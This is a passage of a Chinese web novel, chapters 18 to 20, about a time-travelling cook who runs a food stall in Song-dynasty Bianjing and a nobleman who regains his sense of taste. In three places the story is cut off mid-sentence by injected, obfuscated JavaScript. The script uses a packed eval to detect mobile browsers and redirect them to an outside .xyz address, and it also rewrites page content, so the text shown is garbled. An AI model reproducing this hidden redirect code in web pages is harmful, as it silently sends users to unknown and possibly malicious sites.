一样是后世小学边上爆火的冷吃火鸡面。她按照宋人的取名特点想了个别名，叫火焰索饼，吃的就是那种如火灼一般的热辣过瘾。 另外一样，是她家乡夜市的特色小吃，名曰米线糊。可以选择加辣也可以不加，这样两头兼顾了吃辣党和不吃辣党。再和宽婶的饮子一结合，这咸甜永动机就成了。 昨日收摊回来前，宽婶特地跑来跟她说了。说是州桥和龙津桥那头也出现了卖铁板豆腐的摊子，担心她在铁板豆腐上用的“人无我有”的路子会不管用。 其实早前江知味就想到了。铁板豆腐的做法太简单了，她估摸着不久以后就会有模仿的摊子出现，没想到这么快就有人破解了她的食方。 所以她打算趁现在小食摊整体的热度还在，再一次推陈出新，打别人一个措手不及。 到家时，凌花已经招呼着街坊邻里卖起豆腐了。 两小只刚睡醒，面上还带着草席压出来的褶，正蹲在屋檐下的台阶边上，举着刷牙子满脸皴皱地刷牙呢。 宋时已经有牙膏牙刷了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149600|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙刷和后世的瞧着大同小异，刷毛用的是马尾毛，塞到嘴里口感不佳，比较粗硬。而且容易脱落，一吐一嘴黑，时常需要更换。 牙膏则有膏状和粉状之分。江知味家里用的是牙粉，蘸了水以后塞到嘴里又苦又辣。不怪这俩孩子满脸痛苦面具，换作江知味刷牙，也是同样。 他们脚边，放着一大盆井水。 江暖漱完口后，捧了一手水小心地擦脸。那模样斯文极了，擦得睫毛和眉毛上都是细小的水珠，出水芙蓉似的又嫩又粉。 她弟弟江晓则不走寻常路，蹲在地上将半张脸埋进了水里。眼见水里咕嘟嘟冒起了泡，他猛地仰头，将头摇得拨浪鼓似的，试图甩干脸上的水。 结果睁眼的时候，还是被倒灌的井水糊了眼睛，急得连忙拿手去搓。又不小心把水搓进了鼻孔里，惹得他扇着鼻孔，阿秋阿秋地打了两个大喷嚏。 江晓被自个儿的喷嚏打懵了，呆鸡似的蹲着不动弹了。 还是江知味走上前将他肉肉的脸蛋戳了戳，才把他的魂从天外叫回来：“快擦了吧。今儿个天凉，可别着了风。” 江晓一声“二姐姐”还没喊出口，又被呛得打了两个喷嚏。眼瞅鼻涕要挂下来了，江暖一把上前，用帕巾堵住他的两个气孔：“晓哥儿羞羞，我们是大孩子，不能流鼻涕的。” 江知味被他俩逗得直笑，连身上背着的大袋小袋都忘了卸下来。这会子风一来，卷起了满身的猪下水味。 她自个儿都忍不了了：“不行，我得赶紧把这猪下水给拾掇了，这也太味儿了。” 等她一阵风似的进了灶房，江晓也擤完鼻涕，从帕巾后面仰起脸来了。他猛地一吸气，整张脸顿时皱得像小老头似的：“暖姐儿，二姐姐是背了屎回来吗？” 江暖亦是一脸难以置信，但还是第一时间捂住了江晓的嘴：“胡说，二姐姐哪里舍得喂我们吃屎。二姐姐对我们最好了。” 说完她嗅了嗅空气里弥漫的猪屎味，一脸复杂地望着灶房里头忙碌的身影，陷入了深深的沉思。 灶房内，江知味把猪下水倒在陶盆里。 钱屠给的猪下水大部分是猪肥肠。若是在后世，江知味会以面粉、盐和醋对肥肠进行搓洗，以保证烹饪后的猪肠不那么原汁原味。 但如今，用面粉清洗无异于大大提高了米线糊的成本。而且太浪费了，这么些猪肠，得用去大约半斤面粉，都能做好多索饼了。 江知味深知富有富的过法，穷有穷的过法，干不出这种铺张浪费的事，便将灶膛里的草木灰铲出来，厚厚地盖在了猪肥肠的上头。 草木灰的主要成分是碳酸钾，溶于水后呈弱碱性，能分解大肠表面的油脂和黏液。还能发挥类似活性炭的作用，吸附猪肠散发出的腥臭味。 用这种农家古法洗出来的猪肠又白又亮，一点不比面粉洗出来的差。 江知味今日的第一要事是做红烧猪肉面，便先将陶盆搁在了屋外空旷处。又转头倒了些面粉在海碗中，加入盐和水之后，卖力地揉搓了起来。 18. 火焰索饼 这日一早，因秋社日回娘家省亲的容双，总算风尘仆仆地回到了汴京家中。 才几日过去，容双又消瘦了许多。 过去的时候还好，没怎么晕船。谁知返程时刚一登船，浪头还没起呢，她就闻见了一股挥之不去的汗馊味，当场忍不住干呕了起来。 好不容易适应了船上复杂的人味，到了饭点，面对客船上油膻味重得要命的吃食，她更是频频作呕，一口都吃不下去。 以至于整趟路途中，她只能靠从娘家带回来的瓜果度日，配着些自家做的茱萸辣酱，硬生生撑到了汴京。 眼下容双又困又饿，抬着酸软的双腿，刚瘫倒在竹榻上打算睡个回笼觉，就闻见了一阵前所未闻的香味。 这香味打江知味家的墙头来，绕梁三尺，经久不散。容双本不欲一早就叨扰他们，可她越是躺着不肯起，那香味就愈发狡猾地往她的鼻孔里钻。 一如鬼魅那般，在她的耳边叫嚣：“来啊，来吃啊。” 刚养出来的睡神，轻而易举地被满怀的馋劲儿击散。 她连忙从竹榻上爬起来，绕过正在院子里洒扫的刘庆年，步履轻快地来到了江家的院门边。 笃笃笃。 敲门声传来时，江知味正把调好的面汤盛到碗中。 后世方便面汤的精华都在那小小一袋的粉包和油包里。 家里没有烘烤用的炉子，一时半会儿来不及晒干料，她便将那些要用到的葱、姜都放锅里炒干。再扔到臼子里研成粉，和盐、十三香粉、白糖、茱萸粉等调料一齐撒到锅里。 用锅铲搅匀后，她猛嗅了一口。啊，熟悉的火车车厢里的味道，就是它了。 转身正要去开门，凌花从前头铺子里走出来：“豆腐都卖完了，我去吧。” 她一开门，就瞧见了外头站着的容双。只见她一脸苍白，挂着明显的疲态，双眼却炯炯有神：“花儿婶，知姐儿，我回来了。” 凌花吓了一跳，赶紧弯了她的胳膊搀她进来，又挪了竹椅给她坐：“不过是回了几日娘家，怎的折腾成这样？” 容双缓缓坐下，把一路上的遭遇都说了。 她这会子说话，都有点儿气若游丝了，眼中的光亮却始终没被磨灭，歪着头，笑看向灶房里忙碌的江知味：“知姐儿又做什么好吃的呢？” “不知道。”凌花也顺着她的视线看过去，“方才我就闻见了，实在是太香了。前头好多来买豆腐的客人，都问我家里正做什么吃食，还问我卖不卖呢。” 她站起身，轻拍了两下容双的肩膀：“我去看看，要做好了，先给你端一碗来。有身子的人了，还瘦成这样，真是叫人心疼。” 容双轻点了两下头，又冲灶房里探出头的江知味，挥了挥手。 江知味的红烧猪肉面已经大功告成了。容双来得早不如来得巧，她今日正好手一哆嗦，多下了点面，匀出了一人份来。 原还犯愁多出来的这碗给谁送去呢，没想到它的主人，这就自个儿登门来了。 母女俩一人端一碗，将几碗红烧猪肉面都端到了饭桌上。 江知味左右看看，不见暖姐儿和晓哥儿的身影，还纳闷了。这俩毛头一早不是一直在院子里玩么，怎的到了吃饭的时候反而跑没了影。 她高吭了一嗓子：“暖姐儿，晓哥儿，吃饭了。” 一眨眼，院墙边倏地冒出来一头旺仔小馒头。再一眨眼，又是另外一头。都只在门外干眨眼，冲他们招手，就是不肯进来。 江知味难得见着这俩孩子露怯。顺着他们的视线，目光落在了那盆盖了草木灰的猪肥肠上面。略一怔愣，顿时笑出了声：“这肥肠还没做呢，也不是给你们吃的。快进来吧，要不然一会儿汤饼要坨了。” 两小只相视一眼，这才扑棱棱地跑进院子来。 院子里的猪粪味已经散了，取而代之的是一阵阵荤油的浓香。江暖的五脏庙顿时馋虫大作，在凌花的帮助下爬上长椅，凝望着面前那碗油锃锃红亮亮的汤饼。 其他人都已经开动了。 尤其是几日没进过荤油的容双，今日吃得格外狼吞虎咽。 她吃的这碗，额外放了一勺江知味特制的茱萸粉，辣得相当厚重却丝毫不腻口，格外契合她的口味。 筋道的汤饼吸饱了汤底的精华，每一筷子挑起，都挂着浓郁的汤汁。往嘴里胡塞了那么几口，留得满嘴的鲜香。 里头切得四四方方的猪肉块更是口感丰富。净瘦的那些炖得又酥又烂，近乎入口即化。带肉筋的部分却是嚼劲非常，经长时间的咀嚼后，还能品尝出猪肉自带的回甘。 容双平日里最是怕热，奔波了这几日后，许是累得过劲儿了，时常觉得手脚像被人倒了一瓢冰水似的发凉。 她才吃到一半，就觉着手脚慢慢地回了温。等整碗下肚后，背脊上、额头上都冒出了绵针似的细汗，身上也跟着松快了起来。 此前舟车劳顿的疲累，随着五脏庙的饱足，渐渐地烟消云散了。 她打了个爽快的饱嗝：“真舒坦呐。” 发出这种感慨的不止她一个。总算尝着后世方便面味的江知味馋虫得解，心满意足地瘫靠在椅背上。 抬头望天，日光披甲直下，驱散了水湿浓重的大雾。没有雾霭笼罩的小院，那孤零零的陶盆看着比先前更加显眼了。 吃完汤饼的两小只飞快地瞄了一眼陶盆，齐刷刷地跑到了院外去。看得凌花都纳闷了，不晓得他俩今日的反常究竟是为何。还有那一大盆草木灰，显然是知姐儿的手笔：“这是要做什么呢？” “娘，是猪下水。今晚上做米线糊，要用到猪下水。” 凌花对猪下水倒无甚反应。 毕竟猪下水此物市井之地常见，许多吃不起肉的贫民，会在家起个大锅，煮猪肺汤来吃。夜市上也有卖旋炙猪皮肉、猪脏、血羹等物，可见汴京百姓对动物脏器的喜爱。 她的注意力都落在江知味说的“米线糊”上了：“可是小食摊又要上新吃食了？” 江知味点头，顺道起身收拾了碗筷：“不仅有两样新吃食，我还打算推出一样新的揽客之法。娘，你们就等着热闹看吧。” * 夜幕降临，临近中秋。横桥子夜市上的月亮愈发得浑圆，照得蔡河里波光粼粼。时不时有鱼儿飞跃起身，落到水里发出清脆的“咚”的一声响。 可惜这鱼跃声太轻太轻了，远不及江记小食摊边上的起哄声来得热烈。 两位参与特辣火焰索饼挑战的食客都在兴头上，在周围鼎沸的呐喊声中，卖力地将碗里的索饼往自个儿的嘴里扒。 其中一位食客因吃得太急，被呛得满脸通红。 眼见身边的沙漏将要走至归零，他越是着急，越是怎么都止不下呛咳。终于在身边围观群众的扼腕声中，愤愤地放下了筷子。 “沙漏尽，碗中余下的索饼不要浪费哦，吃完后的碗筷归还到木桶中即可。” “您在我们家消费了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166869|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一碗爆辣火焰索饼，可以先到宽婶那儿买优惠一文钱的饮子再来排队哦。” 江知味笑眯眯地目送食客甲去了隔壁宽婶那儿，回头一看，另一位食客还在奋力猛吃。 他身前的沙漏已经见了底，一旁跟着起哄的食客大叫道：“时间到了，江娘子，他耍赖。” 江知味便一脸笑意地将沙漏收了，另一只手还在装了米线糊的大锅里不断搅拌：“乙位食客惜败，收您六文钱。您想吃米线糊啊，还得等等，可以先去饮子摊排队哦。” 那人只好悻悻地付了五文钱，转头去宽婶的摊子前，还恋恋不舍地看了江知味的摊子一眼：“虽然没挑战成功，但某还是要替小娘子的摊子说上两句。小娘子这火焰索饼着实美味，不仅索饼本身爽滑筋道，茱萸粉给得还如此实诚。就算惜败，这六文钱花得也值当。” “不如这样，某愿替江记小食摊赋诗一首，还望与娘子交换米线糊一碗。娘子以为如何？” 想吃白食啊，江知味蹙了下眉，正要将这话揶揄过去，忽地听见人群里响起一阵哄笑。 “我说楚举人，你可别再卖弄你那两句酸诗了。前日刚因为吃白食，被潘楼的茶饭量酒博士拿笤帚打出来的事你忘了啊？今日倒好，还来祸害起江娘子了。你不晓得人小娘子小本营生不容易啊。” 旁人一听，来了兴致：“堂堂举人，竟还想着吃白食？也不怕丢了自家老母的面皮，平白惹人笑话。” 又有人道：“那是谢大官人抬举这楚老汉呢。官人有所不知，这老汉就是因为成日里在外头招摇撞骗，无心进学，才年近五十，连个乡试都未得中。” 楚老汉当即羞红了脸：“老汉家中父母皆已故去，你……你休要胡说。我这不是已经给过钱了么，不过是看江娘子菩萨心肠，想请她再施舍一碗。” 没人搭理他，只有哄笑声渐盛。 楚老汉的耳根子愈来愈红，却始终在宽婶的摊子前站着不动。等宽婶将浆水盛了，他愤愤地一饮而尽，这才丢下了一枚铜板落荒而逃。 直走到远离人群的僻静地儿，楚老汉蓦地停住，气得捶胸顿足：“气煞我也。好你个谢玉，在潘楼为难我不够，还闹到了江记小食摊上。关键是潘楼的吃食没江记好吃啊，你个王八羔子，叫我下回还怎么去吃那米线糊啊。” 楚老汉越想，心中越是恼火。又不敢回头去和那谢大官人对峙，只好逮着脚边的一块石子儿，铆足了劲儿，往巷子里的无人处踢去。 谁料想，暗处忽然传来了“哎哟”一声响：“谁这么不长眼，把石子儿踢你驴爷爷头上。” 楚老汉不晓得驴爷爷是谁，唯恐那伤者管他讨要药钱，瑟缩了下脖子，灰溜溜地抱着袖子跑开了。 巷子里，连池抱着被石子儿磕到的驴脑袋，心疼地摸了又摸：“大人您说说，伤我就算了，竟伤了大人最宝贝的驴。” 沈寻骑在驴背上，淡淡看他一眼，又低头扫过驴眼睑下的创口，轻声道：“不过蝇头大小的伤口，驴子都没叫唤，你那么大声做什么。” “这不是怕驴子疼了要发疯，反害得大人受伤么。” 沈寻难得笑了下：“这驴子性子随我，天塌下来之前，不会有什么动作的。” 连池刚要笑着说“好”，只觉手上牵驴的套绳忽地一松。 下一瞬，就见驴子高举着磨盘大的两个鼻孔，呼哧呼哧地扇了两下风。之后嗖地一下从他手上挣脱，带着他家大人，朝横桥子夜市那头冲去了。 19. 有味觉了 连池大呼小叫地追在他身后。 此处距离夜市还有几步路。未免之后冲撞人群，沈寻趴在驴背上按兵不动，静等制服驴子的良机。 驴子蹄步不停，那盘扣似的鼻孔愈张愈大，如犬只般四下里闻闻嗅嗅，仿佛在迫切地寻找着什么。 沈寻急中生智，用衣袖掩住了它的口鼻。驴子刹那间失了方向，脚步渐缓，被身后跑出了残影的连池一手抓住，总算有惊无险。 “大人，您没事吧大人。”连池吓得面色惨白，连忙扶沈寻从驴背上下来，又在驴子的鼻头，狠抽了一个大耳刮子，“呆瓜，平日里的成熟稳重哪去了，亏得大人方才还夸你。要不小心伤到了大人，我给你做成驴肉火烧。” 沈寻依旧神色浅淡，轻道一声“无事”，低头扫过连池跑得又是土又是泥的脚面，又眼风一斜，看向驴子脚跟后落下的半只布鞋，道：“明日你且去找卢伯支一贯钱，自个儿去鞋铺买双新鞋罢。” 连池满不在乎地抬起那只剩了半只鞋的脚，一使劲儿，将另半只鞋也踢飞出去：“还得是我家大人心细。只是大人，买鞋用不了一贯钱，余下的那些，奴都留下，给翠嘴买鸟食可好？” “随意。” 沈寻其实没留意到他的后半句话为何，只抬眸望向驴子先前闻闻嗅嗅的方向。 他想起了先前刘廉说的桥头夜市。那厮前日趁他胃疾发作，当着他的面，无比夸张、狼吞虎咽地吃了三碗豆腐两碗浆水，吃完唱曲儿似的打了三个悠长的饱嗝。 更扬言道：“这浇汁豆腐是全汴京绝无仅有的美味。哎哟，可惜，可惜啊——” 这厮故意把话音拉得老长，还叮嘱他到时有空，一定要去桥头的江记小食摊逛逛。就算尝不出味儿，鼻孔总是好的吧，闻闻也相当过瘾。 沈寻此时，正好站在江记小食摊的人墙外头。他深深吸了一口从小食摊上飘来的烟气，只觉得茱萸之香气无比浓郁。他算是明白刘廉这厮，为何对这摊子评价极高了。 不过是出于辣味罢了。 沈寻摇了摇头，正要转头离开，手边被连池一把拽住：“大人，您今日还没用晡食呢。奴瞧这摊子等吃的食客这么多，味道指定不错。奴方才听那小娘子说什么‘米线糊’，指不定就是大人喜欢吃的汤水呢，大人要不然留下来尝尝？” 听他此言，沈寻的步子停住了。上回胃疾发作，就是因为他终日钓鱼，无心进食。今日审了整日人犯，亦只吃了一顿朝食，再不用点汤水，恐怕夜里又得疼得翻来覆去了。 他点头说“好”，牵起驴子身前的套绳，微微后撤了一步。 等连池一脸欢脱地从人缝间挤进去，再一脸涨红地从人从众的肉丨缝间挤出来，已是一刻钟后了。 “大人，呼，大人……”连池气喘吁吁，手里抱着两个盛得快溢出来的陶碗，“大人，是汤水没错。就是人太多了，那些客人一买就是七八碗，奴等到第二锅才排上嘞。” 沈寻伸手，接过连池递来的陶碗。眼中闪过一丝疑惑，这是他在汴京从未见过的吃食。 灯火下，碗中银丝遍布。汤汁粘稠到挂壁，呈现出藕粉一般的透明光泽。其间混煮的芫荽末、胡萝卜丝、木耳丝、豆芽、碎肠等物，给汤汁增添了不少亮丽的颜色。 看见碗里的猪肠后，沈寻迟疑了一瞬。他将米线糊举起凑至唇边，却没闻见猪肠的腥膻味，只有阵阵清爽的酸香，带着丝丝缕缕茱萸水的辛辣气。 “里头放了茱萸？” 连池还在溜边吹凉：“原本那小娘子煮了一大锅不辣的米线糊，先卖出去了大半，奴没抢到。后来奴在火炉子边上热得心慌，一跑神，就见那小娘子把茱萸水往锅里下了。不过那茱萸水只放了一小勺，想来几乎吃不出辣味。大人若是不喜欢，奴再去给大人买别的。” 沈寻转头看向自个儿碗中：“罢了，不麻烦，就它吧。” 糊糊此物，最难放凉。越是心急，越是吃得烧膛。沈寻一边转碗，一边小心吹气。等表面那层糊糊汤彻底没了热气，张嘴贴了上去。 好半晌没动。 他就那样衔着陶碗，整个人有如石化般，僵直地站在油烟气满满的河风里。 若非连池已经捧着米线糊吃了两大口，会以为这糊糊兑得浓了，像浆糊那样，把他家大人的嗓子眼粘住了。 可他分明觉得这糊糊吃着不稠也不稀，润口得十分刚好。而且里头的配料或脆、或韧、或酥，与米线糊的软烂相佐得亦是刚好。 反正他觉得这米线糊吃着没什么毛病。除了好，他还是觉得好。 反观他家大人。呀，见了鬼了，莫不是被茱萸辣疼了，所以身子硬得不动弹了。 饶是连池再嘴馋，也不敢置他家大人的安危于不顾。他慌忙放下手里吃了半碗的米线糊，抱着他家大人的一只胳膊，猛烈地摇晃起来：“大人呐，大人您可千万不能有事啊。” 沈寻被晃得回了神，眼中满是惊愕。低头对上连池写满焦灼的一双眼，语带轻颤道：“连池，这米线糊，是酸的？” 虚惊一场，连池嘻嘻一笑，停了手：“我瞧那小娘子添了不少醋下去，可不得是酸的么。” 说完，他立马察觉到了不对：“大人，您能吃出酸味了？” 沈寻缓缓地点了下头，再一次将嘴唇覆到了米线糊上。这回细品来，滋味就更多了。 那一勺茱萸水带来的丝丝热意，在他能尝出俱全的五味之后，果真不似平常里吃着那般突兀了。 再与糊糊里头的咸鲜味和酸味一中和，更叫人觉得美妙绝伦。就好比三伏天的日头眨眼变成了黄昏下的余晖，不仅不灼人了，还叫人唇边留香、口齿生津。 这米线糊的味道于他而言太过惊艳。沈寻平生，头一回享受起了咀嚼的过程。 那豆芽菜、木耳丝吃起来脆生生的还冒着酸汁。胡萝卜丝在汤里多泡了些时间，已经有些软烂，但依旧泛着荡人心弦的清甜。切得细碎的猪肠在口中嚼劲十足，不仅没有半点下水本身的腥膻味，还弥漫着异常撩人的荤油香。 吃着吃着，沈寻的眼眶湿润了。 他不知道自个儿在小食摊旁站了多久。只相当小心翼翼地捧着陶碗，像捧着珍馐美馔，一直小口小口地细品，生怕遗漏了这丰富滋味中的任何一个细节。 后来人群渐渐散开，身侧的那些吆喝声、呐喊声也渐渐停歇。最后连风中的烟火气也淡了。 周遭安静下来。 沈寻终于在米线糊彻底冰凉前，吃完了整整一碗。这种前所未有的味觉冲击，让他至今还浑浑噩噩，像是身在梦中。 他身侧的连池默默抬手接过空碗，又擦了一把眼角流下的心酸泪。他跟着他家大人五年了，从没见过他这样。这打大人娘胎里就带着的怪病，竟这么离奇地恢复了么。 他百思不得其解，摇头晃脑地将陶碗送回到木桶中。抬起头时，还冲前头打量着他俩的小食摊娘子歪头一笑。 江知味也报以礼貌的一笑。 这小厮倒像个正常人。但他那主子，真是个实打实的怪人呐。 其实早在这人骑着疯驴子过来时，江知味就已经留意到他了。早前是怕驴子冲撞了她的客人，都打算扯开嗓门喊了，谁知这人突然想了个法子让驴子停下了脚步，当时她还觉得这人挺机灵的。 等他从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176848|180144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驴子上下来，江知味的目光再一次被他吸引了去。 人群中，这位疯驴郎君长得实在太过显眼。 昏黄的油灯下，那人身着一袭月白直裰，身形格外瘦削颀长。衣袂翩跹间，隐约露出了肩头嶙峋的锁骨，让人油然升起一股怜惜之情。 又见他面上斜飞一对剑眉入鬓，深邃的眉骨下，本该如皓月朗星的墨色眸子里，透着丝难以捉摸的晦暗。微垂的眼尾露出几分倦怠，脊背微微弓起，整个人现出一股子颓然之态。 江知味在心中腹诽，好帅啊，就是丧了点。 不过她对这人的看法很快就改变了。毕竟她没见过什么人，仪表堂堂、衣冠楚楚，吃一碗米线糊却足足吃了一个时辰。 这可是两个小时啊。这人一动不动，像个雕塑似的，腿不麻么，手不抖么。再说放了这么长时间的米线糊，没化成稀水也坨成板砖块了，还能好吃么。 好在眼下那木雕似的郎君总算动弹了。 江知味摆出职业微笑，在那疯驴郎君投来探看的目光时，冲他略一福身。这是她在面对每一位探头探脑打量的客人时，都会摆出的公式化动作。 但今日这位疯驴郎君，好似和其他来摊子上吃东西的食客有些不一样。 他面上的神情好生复杂，复杂到了一种骇人的程度。 眼中欣喜与疑惑杂糅，持重中透着一股子压抑的兴奋。嘴角却半点不带弯起，反而冰冷得好似挂了千斤重的寒霜，眉头皱得像套了个九曲连环，整个人清幽幽地，散发出一种诡谲的冷肃。 江知味被疯驴郎君看得有些莫名，浑身上下汗毛直竖。这眼神跟看犯人似的，若非她自个儿行得正坐得端，差点儿以为这人在米线糊里吃出剧毒了呢。 好在这番对视并没有持续多久。很快，两人一驴渐行渐远。 江知味松了口气，锤了锤在摊子前站了一整夜肿得发硬的双腿，又喝了一杯从宽婶那儿买来的浆水，润了润嗓。 累了一宿，总算可以回去抱着铜板歇息了。 回到了小苑的沈寻却是辗转难眠。 他躺在卧榻上，不断回味着今日在夜市上吃的那碗米线糊。那带劲的酸辣味反反复复在他的脑海中轮转，叫他时不时地呼吸急促、心跳如鼓。 沈寻睁开眼，看着床边垂挂下来的丝帐，一时间又有些恍惚。是偶然么，还是老天爷的馈赠。难不成困扰了他这么多年的病真的好了? 方才他回来，本想再吃一点糕饼试试。又怕那突然恢复的味觉，只是他的大梦一场。他攥着一块云片糕，犹豫了许久，最终还是放下了。 但到底那碗米线糊只是一碗羹汤。辗转到快天亮，夜里吞吃入腹的那些，早就克化得半点不剩了。 沈寻饿得胃疼，没忍心吵醒还在打呼噜的连池，一个人离开小苑，来到了马行街的早市。 街巷两边，卖炊饼的、卖镈饦的吆喝声起此彼伏。已有不少早起赶路的挑夫，成群结队地坐在小桌前，大口大口地吃炊饼喝豆浆了。 在炊饼摊水雾迷蒙的烟气中，沈寻鼓起勇气，买了两个惯常吃的酸馅包子。用油纸包着，瞅准了内馅儿最饱足的位置，缓缓张嘴咬了下去。 心中一片灰暗。沈寻咀嚼着无滋无味的酸馅包子，只觉得在嚼一张略暄软些的宣纸。可昨夜里发生的一切，分明不是他的错觉。 他痛苦地揉了揉胀痛的头皮，便在这时，他的眼前浮现出那肤白脸圆的小食摊主笑意盈盈的一张脸。 左眼皮猛地跳了下。 沈寻愕然地仰起脸。江记小食摊。是她，江娘子。 看来今天晚上，还得再去横桥子夜市走一趟了。 20. 云朵肉松 不同于沈寻的彻夜难眠。 清朗的白日里，江知味四仰八叉地躺在床榻上，一手抓着床头那一大袋还没来得及兑成银锭子的铜板，砸吧了两下嘴。 穿越来这么长时间了，她还是保留着现代人的恶习。熬夜、赖床、睡回笼觉一个不落。 人嘛，缺什么就想什么。上辈子她最缺觉了，每日被外婆盯着早起，到菜市场那种烟火之地磨炼刀工。坚持了十多年，从踩板凳才能够着案板的年岁起，一直到她长得亭亭玉立。 穿越来后，好几回她都暗自庆幸，幸好她摆的不是朝食摊子。 她是知道摆早点摊的辛苦的。毕竟每日凌晨就得起床揉面、备菜，天不亮就得把摊子上的吃食都安到笼屉上。 要换作她来做这事，她的怨气能重到把三更天游街的鬼都喝退。 不过今日美中不足，她这一觉没能舒坦地睡到自然醒。因为江风回来了。 江知味打着哈欠，推开了被江风叩响的房门。江风去了一天一夜，想来已经把该处理的事情都处理好了。 眼下他手里捧着一个油纸包，笑得一脸憨拘：“二姐姐，我回来了。你看这个，得胜桥的郑家油饼。我一早特地去买的，放怀里捂了一路，还热乎着呢。” 江知味顿觉这个弟弟懂事了不少，接过他递来的油饼，想起还没刷牙呢，没马上吃：“都说好了？” 江风点了下头：“许木匠人好，本就是看在我一片孝心的份上才收我做学徒。我这趟回去实话实说，他便叫我以后好好读书，考上功名孝敬爹娘。学徒的事，就算了。” “学塾那边，我把学钱补上了。我那同窗郑书和李学，都答应帮我补上先前落下的功课。二姐姐，我以后一定勤勉读书，不让你和爹娘操心了。” “那爹娘那边？” 江风转头，扫了前头的豆腐铺子一眼：“娘还在忙着，等会儿我就跟她说。至于爹那儿，我怕爹生气。” 他讨好道：“二姐姐，我能不能不跟爹爹说这事啊。等娘同他说就好了，要不然爹爹好不容易好些，要被我气坏了，那可不得了。” 江知味觉得他说得有理：“那就这样吧，听你的。” 她顿了顿：“你方才说，你的两个同窗要帮你补习功课？” “是啊，二姐姐。”江风嬉笑道，“我记得上回你说，等我再回家来，做点零嘴让我带去分同窗吃。我一会儿给娘磕完头便要回去了，二姐姐说的话可还作数？” “自然作数。”江知味戳了戳他的肩膀，让他往后退些，“你二姐姐我这就洗漱更衣，到集市上采买去咯。” 江风笑得眉眼弯弯：“那我就不耽搁二姐姐了。油饼记得趁热吃啊，凉了可就不好吃了。” 江知味麻溜地洗漱完，捧着油饼便出门去了。 得胜桥的郑家油饼，她此前听说过，说是汴京城里的油饼之最。每回开门，都得同时起二十多个炉灶炸饼子，要不然那些食客闻得见吃不着，能为一口油饼大打出手。 江知味也是真好奇，这京城里的行业标杆究竟是个什么味道。旋即张大嘴，一口咬了下去。 所谓油饼，其实就是放了内馅儿的油炸面饼。江知味手里的这个，放的是甜豆沙馅儿。即便在怀里捂过，还放凉了许多，全然没有影响它外皮的酥脆口感。 内里的豆沙做了去皮的处理，吃起来比寻常豆沙顺滑、绵密了许多。因只放了少许白糖，整个儿吃下来，满嘴豆香却分毫不觉得腻口。 要不怎么说在汴京做餐饮竞争大呢。便是这小小的油饼，里头竟也有诸多讲究。 江知味三两口啃完了一个油饼，来到了熟悉的摊子前，买了三斤猪里脊肉。 她要给江风做一罐肉松带去。 肉松此物，空口能当零嘴，佐餐可以下饭。不粘嘴、不塞牙，算是一种老少皆宜的休闲小食。 学生时期的孩子们，应当都很难抵挡肉松的诱惑。 江知味读小学的时候，就很喜欢和同学分享外婆炒的肉松。那时的外婆已经是个执掌百来家连锁餐饮的大老板了，手底下员工、学徒更是数不胜数，却还是愿意为自家外孙女腾出时间来做小零嘴。 而她每一回带到学校的零食，都会被同学们你一口我一口地瓜分，然后迎来满堂喝彩。 “哇，真是太羡慕知知有这么好的外婆啦。” “要是我妈也能做小零食就好了，今天肉松，明天辣条，后天猪肉脯，怎么都吃不够。” 每每这个时候，江知味便扬起骄傲的头颅，故作轻松地微微一笑：“都别抢都别抢，我外婆说了，过几天还有啊。” 这算是江知味读书期间，比较辉煌的一段日子了。 可惜她在九年义务教育结束后，便远离了那样鲜活的校园生活。毕竟外婆给她规划的未来之路与其他人不同，站在顶峰的同时，也失去了很多作为少年人的自由。 想到这里，江知味决定，以后江风每回返校，都给他做一些零嘴带去。她上辈子没能完美延续的少年时光，就让这辈子的弟妹帮忙实现好了。 到家中，凌花的豆腐铺子已经关张了。 江知味忽地忐忑起来。她不知道江风那头磕得怎么样了，蹑手蹑脚地开了院门，左右看看，一个人影都没瞧见。 正纳闷呢，屋子里哄的一下冲出来好些个人。两小只在前，小短腿跑得飞快。江风居中，凌花走在最后，手里拿着半根断掉的笤帚：“我打死你个混小子。” 江风被打得抱头乱窜，一会儿跑到江知味身后，一会儿抱着两小只，企图用萌娃做他的挡箭牌：“娘，娘我知道错了。我这跪都跪了，头也磕了，道歉的话也说了十数遍，您起先不还好好的么，怎么这会子突然发威了。” 凌花气喘吁吁，叉着腰，站在水井边上不动了：“我这不是忍一时越想越气，退一步越想越难受么。你给我站住，看我不抽你我……” 江知味赶忙上前，将她握笤帚的那只手按住：“娘，消消气啊。风哥儿也是一时糊涂是吧。这年岁的孩子都这样，皮得很。不过他已经知错了，也答应回去以后好好读书，连帮他温补功课的同窗都找好了。看在他知错肯改的份上，你就原谅了他吧，气坏了身子不值当。” 凌花的胸口剧烈起伏着：“那你，混小子你方才怎么不说这些啊。” 